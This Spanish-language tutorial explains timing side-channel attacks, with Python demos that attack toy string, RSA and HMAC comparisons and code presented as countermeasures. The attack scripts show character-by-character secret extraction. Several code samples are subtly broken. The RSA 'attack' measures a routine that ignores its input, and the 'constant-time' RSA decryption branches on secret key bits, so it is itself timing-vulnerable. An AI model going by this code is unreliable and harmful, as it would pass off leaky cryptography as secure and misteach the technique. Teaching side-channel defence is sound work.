Timing Attacks son ataques criptográficos que explotan diferencias en el tiempo de ejecución de operaciones para extraer información sensible, como claves privadas o datos cifrados.

¿Qué son los Timing Attacks?

Los timing attacks son una clase de ataques de canal lateral que miden el tiempo que toma ejecutar operaciones criptográficas para inferir información sobre los datos procesados, especialmente claves privadas.

Características Principales

Explotación del Tiempo

  • Medición: Medición precisa del tiempo de ejecución
  • Diferencias: Explotación de diferencias temporales
  • Inferencia: Inferencia de información sensible
  • Estadística: Análisis estadístico de mediciones

Vulnerabilidades Comunes

  • Comparaciones: Comparaciones de cadenas no seguras
  • Operaciones Condicionales: Operaciones que dependen de datos secretos
  • Acceso a Memoria: Acceso a memoria basado en datos secretos
  • Optimizaciones: Optimizaciones del compilador

Impacto

  • Claves Privadas: Extracción de claves privadas
  • Datos Sensibles: Revelación de datos sensibles
  • Autenticación: Bypass de sistemas de autenticación
  • Integridad: Compromiso de integridad

Tipos de Timing Attacks

Timing Attacks Simples

  • Comparación Directa: Medición directa del tiempo
  • Análisis Estadístico: Análisis estadístico básico
  • Patrones: Identificación de patrones temporales
  • Inferencia: Inferencia de información

Timing Attacks Diferenciales

  • Múltiples Mediciones: Múltiples mediciones de tiempo
  • Análisis Comparativo: Comparación entre mediciones
  • Correlación: Correlación con datos conocidos
  • Precisión: Mayor precisión en la extracción

Timing Attacks Adaptativos

  • Ajuste Dinámico: Ajuste dinámico de parámetros
  • Aprendizaje: Aprendizaje de patrones
  • Optimización: Optimización del ataque
  • Eficiencia: Mayor eficiencia en la extracción

Implementación Técnica

Timing Attack Básico

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
import time
import random
import statistics
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import padding

class VulnerableImplementation:
    def __init__(self):
        self.private_key = rsa.generate_private_key(
            public_exponent=65537,
            key_size=1024
        )
        self.public_key = self.private_key.public_key()
    
    def vulnerable_string_compare(self, a, b):
        """Comparación de cadenas vulnerable a timing attack"""
        if len(a) != len(b):
            return False
        
        for i in range(len(a)):
            if a[i] != b[i]:
                return False
            time.sleep(0.001)  # Simular operación costosa
        
        return True
    
    def vulnerable_rsa_decrypt(self, ciphertext):
        """Descifrado RSA vulnerable a timing attack"""
        start_time = time.time()
        
        # Simular operación que toma más tiempo con bits en 1
        result = 1
        exponent = self.private_key.private_numbers().private_exponent
        
        for bit in bin(exponent)[2:]:
            if bit == '1':
                time.sleep(0.001)  # Simular operación costosa
            result = (result * result) % self.private_key.private_numbers().public_numbers.n
        
        end_time = time.time()
        execution_time = end_time - start_time
        
        return result, execution_time

class TimingAttack:
    def __init__(self, target):
        self.target = target
        self.measurements = []
    
    def measure_timing(self, input_data, num_samples=1000):
        """Medir tiempo de ejecución"""
        times = []
        
        for _ in range(num_samples):
            start_time = time.time()
            self.target.vulnerable_string_compare(input_data, "secret_password")
            end_time = time.time()
            times.append(end_time - start_time)
        
        return times
    
    def analyze_timing(self, times):
        """Analizar mediciones de tiempo"""
        mean_time = statistics.mean(times)
        std_time = statistics.stdev(times)
        min_time = min(times)
        max_time = max(times)
        
        return {
            'mean': mean_time,
            'std': std_time,
            'min': min_time,
            'max': max_time,
            'range': max_time - min_time
        }
    
    def attack_string_compare(self, known_prefix, max_length=20):
        """Atacar comparación de cadenas"""
        result = known_prefix
        
        for pos in range(len(known_prefix), max_length):
            best_char = None
            best_time = 0
            
            for char in range(256):
                test_string = result + chr(char)
                times = self.measure_timing(test_string, 100)
                avg_time = statistics.mean(times)
                
                if avg_time > best_time:
                    best_time = avg_time
                    best_char = chr(char)
            
            if best_char:
                result += best_char
            else:
                break
        
        return result

# Ejemplo de uso
vulnerable = VulnerableImplementation()
attacker = TimingAttack(vulnerable)

# Medir tiempo de comparación
times = attacker.measure_timing("test_password")
analysis = attacker.analyze_timing(times)
print(f"Análisis de tiempo: {analysis}")

# Atacar comparación de cadenas
known_prefix = "secret_"
result = attacker.attack_string_compare(known_prefix)
print(f"Cadena extraída: {result}")

Timing Attack a RSA

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
class RSATimingAttack:
    def __init__(self, target_rsa):
        self.target = target_rsa
        self.measurements = []
    
    def measure_rsa_timing(self, ciphertext, num_samples=1000):
        """Medir tiempo de descifrado RSA"""
        times = []
        
        for _ in range(num_samples):
            _, exec_time = self.target.vulnerable_rsa_decrypt(ciphertext)
            times.append(exec_time)
        
        return times
    
    def attack_rsa_key(self, ciphertext, key_size=1024):
        """Atacar clave RSA usando timing"""
        # Obtener mediciones de tiempo
        times = self.measure_rsa_timing(ciphertext, 1000)
        base_time = statistics.mean(times)
        
        # Intentar extraer bits de la clave
        recovered_bits = []
        
        for bit_pos in range(key_size):
            # Crear ciphertext que active el bit en posición bit_pos
            test_ciphertext = self.create_test_ciphertext(bit_pos)
            
            # Medir tiempo
            test_times = self.measure_rsa_timing(test_ciphertext, 100)
            test_time = statistics.mean(test_times)
            
            # Determinar si el bit está en 1 o 0
            if test_time > base_time * 1.1:  # Umbral empírico
                recovered_bits.append(1)
            else:
                recovered_bits.append(0)
        
        return recovered_bits
    
    def create_test_ciphertext(self, bit_position):
        """Crear ciphertext de prueba"""
        # Implementación simplificada
        return 2 ** bit_position

# Ejemplo de uso
rsa_attacker = RSATimingAttack(vulnerable)
recovered_bits = rsa_attacker.attack_rsa_key(12345)
print(f"Bits recuperados: {recovered_bits[:10]}...")  # Mostrar primeros 10 bits

Timing Attack a HMAC

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
class HMACTimingAttack:
    def __init__(self, target_hmac):
        self.target = target_hmac
        self.measurements = []
    
    def measure_hmac_timing(self, message, num_samples=1000):
        """Medir tiempo de verificación HMAC"""
        times = []
        
        for _ in range(num_samples):
            start_time = time.time()
            self.target.verify_hmac(message, "expected_hmac")
            end_time = time.time()
            times.append(end_time - start_time)
        
        return times
    
    def attack_hmac(self, known_prefix, max_length=32):
        """Atacar HMAC usando timing"""
        result = known_prefix
        
        for pos in range(len(known_prefix), max_length):
            best_char = None
            best_time = 0
            
            for char in range(256):
                test_message = result + chr(char)
                times = self.measure_hmac_timing(test_message, 100)
                avg_time = statistics.mean(times)
                
                if avg_time > best_time:
                    best_time = avg_time
                    best_char = chr(char)
            
            if best_char:
                result += best_char
            else:
                break
        
        return result

class VulnerableHMAC:
    def __init__(self, secret_key):
        self.secret_key = secret_key
    
    def verify_hmac(self, message, expected_hmac):
        """Verificación HMAC vulnerable a timing attack"""
        # Simular verificación byte por byte
        for i in range(min(len(message), len(expected_hmac))):
            if message[i] != expected_hmac[i]:
                return False
            time.sleep(0.001)  # Simular operación costosa
        
        return len(message) == len(expected_hmac)

# Ejemplo de uso
vulnerable_hmac = VulnerableHMAC("secret_key")
hmac_attacker = HMACTimingAttack(vulnerable_hmac)

# Atacar HMAC
known_prefix = "user="
result = hmac_attacker.attack_hmac(known_prefix)
print(f"HMAC extraído: {result}")

Contramedidas

Comparación de Tiempo Constante

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
import hmac
import hashlib

class SecureImplementation:
    def __init__(self):
        self.private_key = rsa.generate_private_key(
            public_exponent=65537,
            key_size=1024
        )
        self.public_key = self.private_key.public_key()
    
    def constant_time_string_compare(self, a, b):
        """Comparación de cadenas con tiempo constante"""
        if len(a) != len(b):
            return False
        
        result = 0
        for x, y in zip(a, b):
            result |= ord(x) ^ ord(y)
        
        return result == 0
    
    def constant_time_hmac_verify(self, message, expected_hmac, secret_key):
        """Verificación HMAC con tiempo constante"""
        # Calcular HMAC real
        real_hmac = hmac.new(
            secret_key.encode(),
            message.encode(),
            hashlib.sha256
        ).hexdigest()
        
        # Comparar con tiempo constante
        return self.constant_time_string_compare(real_hmac, expected_hmac)
    
    def constant_time_rsa_decrypt(self, ciphertext):
        """Descifrado RSA con tiempo constante"""
        # Implementación con tiempo constante
        result = 1
        base = ciphertext
        exponent = self.private_key.private_numbers().private_exponent
        modulus = self.private_key.private_numbers().public_numbers.n
        
        # Algoritmo de exponenciación modular con tiempo constante
        while exponent > 0:
            if exponent & 1:
                result = (result * base) % modulus
            base = (base * base) % modulus
            exponent >>= 1
        
        return result

# Ejemplo de uso
secure = SecureImplementation()

# Comparación segura
result = secure.constant_time_string_compare("hello", "hello")
print(f"Comparación segura: {result}")

# HMAC seguro
hmac_result = secure.constant_time_hmac_verify(
    "test_message", 
    "expected_hmac", 
    "secret_key"
)
print(f"HMAC seguro: {hmac_result}")

Enmascaramiento de Tiempo

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import random
import time

class TimeMasking:
    def __init__(self, base_delay=0.001, jitter_range=0.0005):
        self.base_delay = base_delay
        self.jitter_range = jitter_range
    
    def add_timing_jitter(self, operation):
        """Añadir jitter temporal para enmascarar timing"""
        # Calcular jitter aleatorio
        jitter = random.uniform(-self.jitter_range, self.jitter_range)
        total_delay = self.base_delay + jitter
        
        # Añadir delay
        time.sleep(total_delay)
        
        return operation
    
    def constant_time_operation(self, operation, min_time=0.01):
        """Operación con tiempo constante mínimo"""
        start_time = time.time()
        
        # Ejecutar operación
        result = operation()
        
        # Calcular tiempo transcurrido
        elapsed_time = time.time() - start_time
        
        # Añadir delay si es necesario
        if elapsed_time < min_time:
            time.sleep(min_time - elapsed_time)
        
        return result

# Ejemplo de uso
time_masking = TimeMasking()

def sensitive_operation():
    """Operación sensible que necesita protección"""
    return "sensitive_result"

# Operación con enmascaramiento
result = time_masking.add_timing_jitter(sensitive_operation)
print(f"Resultado con enmascaramiento: {result}")

# Operación con tiempo constante
result = time_masking.constant_time_operation(sensitive_operation)
print(f"Resultado con tiempo constante: {result}")

Herramientas de Análisis

Medición de Tiempo de Alta Precisión

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
import time
import statistics
import matplotlib.pyplot as plt

class HighPrecisionTiming:
    def __init__(self):
        self.measurements = []
    
    def measure_high_precision(self, operation, num_samples=10000):
        """Medición de alta precisión"""
        times = []
        
        for _ in range(num_samples):
            start_time = time.perf_counter()
            operation()
            end_time = time.perf_counter()
            times.append(end_time - start_time)
        
        return times
    
    def analyze_timing_distribution(self, times):
        """Analizar distribución de tiempos"""
        mean_time = statistics.mean(times)
        median_time = statistics.median(times)
        std_time = statistics.stdev(times)
        
        # Percentiles
        p25 = statistics.quantiles(times, n=4)[0]
        p75 = statistics.quantiles(times, n=4)[2]
        
        return {
            'mean': mean_time,
            'median': median_time,
            'std': std_time,
            'p25': p25,
            'p75': p75,
            'range': max(times) - min(times)
        }
    
    def visualize_timing(self, times, title="Timing Distribution"):
        """Visualizar distribución de tiempos"""
        plt.figure(figsize=(12, 6))
        plt.hist(times, bins=50, alpha=0.7)
        plt.title(title)
        plt.xlabel("Time (seconds)")
        plt.ylabel("Frequency")
        plt.grid(True)
        plt.show()

# Ejemplo de uso
timing_analyzer = HighPrecisionTiming()

def test_operation():
    """Operación de prueba"""
    time.sleep(0.001)
    return "result"

times = timing_analyzer.measure_high_precision(test_operation)
analysis = timing_analyzer.analyze_timing_distribution(times)
print(f"Análisis de timing: {analysis}")

Mejores Prácticas

Desarrollo Seguro

  • Tiempo Constante: Usar operaciones de tiempo constante
  • Comparaciones: Comparaciones seguras de cadenas
  • Validación: Validación de entrada segura
  • Pruebas: Pruebas de timing

Implementación

  • Bibliotecas: Usar bibliotecas criptográficas seguras
  • Compiladores: Configuración segura de compiladores
  • Optimizaciones: Desactivar optimizaciones peligrosas
  • Documentación: Documentación de vulnerabilidades

Monitoreo

  • Detección: Detección de timing attacks
  • Alertas: Alertas por patrones sospechosos
  • Análisis: Análisis continuo de timing
  • Respuesta: Respuesta a ataques detectados

Conceptos Relacionados

Referencias